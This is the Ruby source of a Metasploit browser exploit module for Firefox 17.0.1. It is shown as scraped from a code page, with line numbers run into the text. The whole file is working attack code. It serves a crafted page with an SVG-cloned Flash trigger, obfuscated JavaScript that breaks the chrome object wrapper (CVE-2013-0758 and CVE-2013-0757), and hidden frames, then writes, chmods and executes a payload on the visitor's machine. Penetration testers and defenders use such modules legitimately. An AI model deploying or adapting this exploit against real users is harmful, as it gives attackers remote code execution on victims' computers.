Path: blob/master/modules/exploits/multi/browser/firefox_svg_plugin.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::BrowserExploitServer9include Msf::Exploit::EXE10# include Msf::Exploit::Remote::BrowserAutopwn11include Msf::Exploit::Remote::FirefoxPrivilegeEscalation1213# autopwn_info({14# :ua_name => HttpClients::FF,15# :ua_minver => "17.0",16# :ua_maxver => "17.0.1",17# :javascript => true,18# :rank => NormalRanking19# })2021def initialize(info = {})22super(23update_info(24info,25'Name' => 'Firefox 17.0.1 Flash Privileged Code Injection',26'Description' => %q{27This exploit gains remote code execution on Firefox 17 and 17.0.1, provided28the user has installed Flash. No memory corruption is used.2930First, a Flash object is cloned into the anonymous content of the SVG31"use" element in the <body> (CVE-2013-0758). From there, the Flash object32can navigate a child frame to a URL in the chrome:// scheme.3334Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper35around the child frame's window reference and inject code into the chrome://36context. Once we have injection into the chrome execution context, we can write37the payload to disk, chmod it (if posix), and then execute.3839Note: Flash is used here to trigger the exploit but any Firefox plugin40with script access should be able to trigger it.41},42'License' => MSF_LICENSE,43'Targets' => [44[45'Universal (Javascript XPCOM Shell)', {46'Platform' => 'firefox',47'Arch' => ARCH_FIREFOX48}49],50[51'Native Payload', {52'Platform' => %w{java linux osx solaris win},53'Arch' => ARCH_ALL54}55]56],57'DefaultTarget' => 0,58'Author' => [59'Marius Mlynski', # discovery & bug report60'joev', # metasploit module61'sinn3r' # metasploit fu62],63'References' => [64['CVE', '2013-0758'], # navigate a frame to a chrome:// URL65['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome://66['OSVDB', '89019'], # maps to CVE 2013-075767['OSVDB', '89020'], # maps to CVE 2013-075868['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],69['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']70],71'DisclosureDate' => '2013-01-08',72'BrowserRequirements' => {73:source => 'script',74:ua_name => HttpClients::FF,75:ua_ver => /17\..*/,76:flash => /[\d.]+/77},78'Notes' => {79'Reliability' => UNKNOWN_RELIABILITY,80'Stability' => UNKNOWN_STABILITY,81'SideEffects' => UNKNOWN_SIDE_EFFECTS82}83)84)8586register_options(87[88OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ]),89OptBool.new('DEBUG_JS', [false, "Display some alert()'s for debugging the payload.", false])90], Auxiliary::Timed91)92end9394def on_request_exploit(cli, request, info)95if request.uri =~ /\.swf$/96# send Flash .swf for navigating the frame to chrome://97print_status("Sending .swf trigger.")98send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })99else100# send initial HTML page101print_status("Target selected: #{target.name}")102print_status("Sending #{self.name}")103send_response_html(cli, generate_html(cli, target))104end105end106107# @return [String] the contents of the .swf file used to trigger the exploit108def flash_trigger109swf_path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0758.swf")110@flash_trigger ||= File.read(swf_path)111end112113# @return [String] containing javascript that will alert a debug string114# if the DEBUG is set to true115def js_debug(str, quote = "'")116if datastore['DEBUG_JS'] then "alert(#{quote}#{str}#{quote})" else '' end117end118119# @return [String] HTML that is sent in the first response to the client120def generate_html(cli, target)121vars = {122:symbol_id => 'a',123:random_domain => 'safe',124:payload => run_payload, # defined in FirefoxPrivilegeEscalation mixin125:payload_var => 'c',126:payload_key => 'k',127:payload_obj_var => 'payload_obj',128:interval_var => 'itvl',129:access_string => 'access',130:frame_ref => 'frames[0]',131:frame_name => 'n',132:loader_path => "#{get_module_uri}.swf",133:content => self.datastore['CONTENT'] || ''134}135script = js_obfuscate %Q|136var #{vars[:payload_obj_var]} = #{JSON.unparse({ vars[:payload_key] => vars[:payload] })};137var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];138function $() {139document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";140}141function _() {142return '#{vars[:frame_name]}';143}144var #{vars[:interval_var]} = setInterval(function(){145try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }146catch(e){147clearInterval(#{vars[:interval_var]});148var p = Object.getPrototypeOf(#{vars[:frame_ref]});149var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};150Object.prototype.__lookupSetter__("__proto__").call(p, o);151p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);152}153}, 100);154document.querySelector('object').data = "#{vars[:loader_path]}";155document.querySelector('use').setAttributeNS(156"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"157);158|159160%Q|161<!doctype html>162<html>163<head>164<base href="chrome://browser/content/">165</head>166<body>167168<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>169<symbol id="#{vars[:symbol_id]}">170<foreignObject>171<object></object>172</foreignObject>173</symbol>174<use />175</svg>176177<script>178#{script}179</script>180181<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"182name="#{vars[:frame_name]}"></iframe>183#{vars[:content]}184</body>185</html>186|187end188end189190191